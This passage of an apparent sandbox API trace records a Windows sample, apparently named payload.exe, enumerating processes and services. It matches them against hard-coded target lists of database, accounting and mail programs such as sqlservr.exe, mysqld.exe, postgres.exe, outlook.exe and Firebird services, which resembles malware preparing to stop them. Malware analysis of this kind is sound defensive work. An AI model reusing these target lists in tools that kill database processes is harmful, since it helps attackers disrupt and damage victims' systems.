(lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0103.167] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0103.167] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0103.167] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0103.167] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0103.167] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0103.167] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0103.167] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0103.167] lstrlenW (lpString="csrss.exe") returned 9 [0103.167] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0103.167] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0103.167] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0103.167] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0103.167] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0103.167] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0103.167] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0103.167] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0103.168] lstrlenW (lpString="winlogon.exe") returned 12 [0103.168] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0103.168] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0103.168] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0103.168] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0103.168] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0103.168] lstrlenW (lpString="services.exe") returned 12 [0103.168] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0103.168] lstrlenW (lpString="lsass.exe") returned 9 [0103.168] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0103.169] lstrlenW (lpString="lsm.exe") returned 7 [0103.169] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.169] lstrlenW (lpString="svchost.exe") returned 11 [0103.169] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.169] lstrlenW (lpString="svchost.exe") returned 11 [0103.169] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.170] lstrlenW (lpString="svchost.exe") returned 11 [0103.170] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.170] lstrlenW (lpString="svchost.exe") returned 11 [0103.170] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.170] lstrlenW (lpString="svchost.exe") returned 11 [0103.170] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0103.171] lstrlenW (lpString="audiodg.exe") returned 11 [0103.171] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.171] lstrlenW (lpString="svchost.exe") returned 11 [0103.171] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.171] lstrlenW (lpString="svchost.exe") returned 11 [0103.171] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0103.172] lstrlenW (lpString="userinit.exe") returned 12 [0103.172] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0103.172] lstrlenW (lpString="dwm.exe") returned 7 [0103.172] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0103.172] lstrlenW (lpString="explorer.exe") returned 12 [0103.172] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0103.173] lstrlenW (lpString="spoolsv.exe") returned 11 [0103.173] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0103.173] lstrlenW (lpString="taskhost.exe") returned 12 [0103.173] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.173] lstrlenW (lpString="svchost.exe") returned 11 [0103.173] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0103.174] lstrlenW (lpString="payload.exe") returned 11 [0103.174] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0103.174] lstrlenW (lpString="reader_sl.exe") returned 13 [0103.174] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0103.174] lstrlenW (lpString="taskhost.exe") returned 12 [0103.174] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0103.174] lstrlenW (lpString="dllhost.exe") returned 11 [0103.174] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0103.175] CloseHandle (hObject=0x398) returned 1 [0103.175] Sleep (dwMilliseconds=0x1f4) [0103.841] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab7288 [0103.844] EnumServicesStatusExW (in: hSCManager=0x3ab7288, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0103.845] GetLastError () returned 0xea [0103.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5e07c8 [0103.845] EnumServicesStatusExW (in: hSCManager=0x3ab7288, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x11e4, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0103.845] CloseServiceHandle (hSCObject=0x3ab7288) returned 1 [0103.846] lstrlenW (lpString="Appinfo") returned 7 [0103.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0103.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0103.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0103.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0103.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0103.846] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0103.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0103.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0103.846] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0103.846] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0103.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0103.846] lstrlenW (lpString="AudioSrv") returned 8 [0103.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0103.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0103.846] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0103.846] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0103.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0103.846] lstrlenW (lpString="BFE") returned 3 [0103.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0103.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0103.846] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0103.846] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0103.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0103.846] lstrlenW (lpString="CryptSvc") returned 8 [0103.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0103.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0103.846] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0103.846] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0103.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0103.846] lstrlenW (lpString="CscService") returned 10 [0103.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0103.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0103.846] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0103.846] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0103.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0103.846] lstrlenW (lpString="DcomLaunch") returned 10 [0103.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0103.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0103.846] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0103.846] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0103.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0103.846] lstrlenW (lpString="Dhcp") returned 4 [0103.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0103.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0103.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0103.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0103.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0103.846] lstrlenW (lpString="Dnscache") returned 8 [0103.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0103.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0103.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0103.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0103.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0103.847] lstrlenW (lpString="DPS") returned 3 [0103.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0103.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0103.847] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0103.847] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0103.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0103.847] lstrlenW (lpString="eventlog") returned 8 [0103.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0103.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0103.847] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0103.847] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0103.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0103.847] lstrlenW (lpString="EventSystem") returned 11 [0103.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0103.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0103.847] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0103.847] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0103.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0103.847] lstrlenW (lpString="gpsvc") returned 5 [0103.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0103.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0103.847] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0103.847] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0103.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0103.847] lstrlenW (lpString="iphlpsvc") returned 8 [0103.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0103.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0103.847] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0103.847] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0103.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0103.847] lstrlenW (lpString="LanmanServer") returned 12 [0103.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0103.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0103.847] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0103.847] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0103.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0103.847] lstrlenW (lpString="LanmanWorkstation") returned 17 [0103.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0103.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0103.847] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0103.847] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0103.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0103.847] lstrlenW (lpString="lmhosts") returned 7 [0103.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0103.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0103.847] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0103.847] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0103.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0103.847] lstrlenW (lpString="MMCSS") returned 5 [0103.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0103.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0103.847] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0103.847] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0103.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0103.848] lstrlenW (lpString="MpsSvc") returned 6 [0103.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0103.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0103.848] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0103.848] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0103.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0103.848] lstrlenW (lpString="Netman") returned 6 [0103.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0103.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0103.848] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0103.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0103.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0103.848] lstrlenW (lpString="netprofm") returned 8 [0103.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0103.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0103.848] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0103.848] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0103.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0103.848] lstrlenW (lpString="NlaSvc") returned 6 [0103.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0103.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0103.848] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0103.848] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0103.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0103.848] lstrlenW (lpString="nsi") returned 3 [0103.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0103.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0103.848] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0103.848] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0103.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0103.848] lstrlenW (lpString="PcaSvc") returned 6 [0103.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0103.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0103.848] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0103.848] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0103.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0103.848] lstrlenW (lpString="PlugPlay") returned 8 [0103.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0103.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0103.848] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0103.848] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0103.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0103.848] lstrlenW (lpString="Power") returned 5 [0103.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0103.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0103.848] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0103.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0103.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0103.848] lstrlenW (lpString="ProfSvc") returned 7 [0103.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0103.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0103.848] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0103.848] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0103.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0103.849] lstrlenW (lpString="RpcEptMapper") returned 12 [0103.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0103.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0103.849] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0103.849] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0103.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0103.849] lstrlenW (lpString="RpcSs") returned 5 [0103.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0103.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0103.849] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0103.849] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0103.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0103.849] lstrlenW (lpString="SamSs") returned 5 [0103.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0103.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0103.849] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0103.849] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0103.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0103.849] lstrlenW (lpString="Schedule") returned 8 [0103.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0103.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0103.849] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0103.849] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0103.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0103.849] lstrlenW (lpString="SENS") returned 4 [0103.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0103.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0103.849] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0103.849] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0103.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0103.849] lstrlenW (lpString="ShellHWDetection") returned 16 [0103.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") 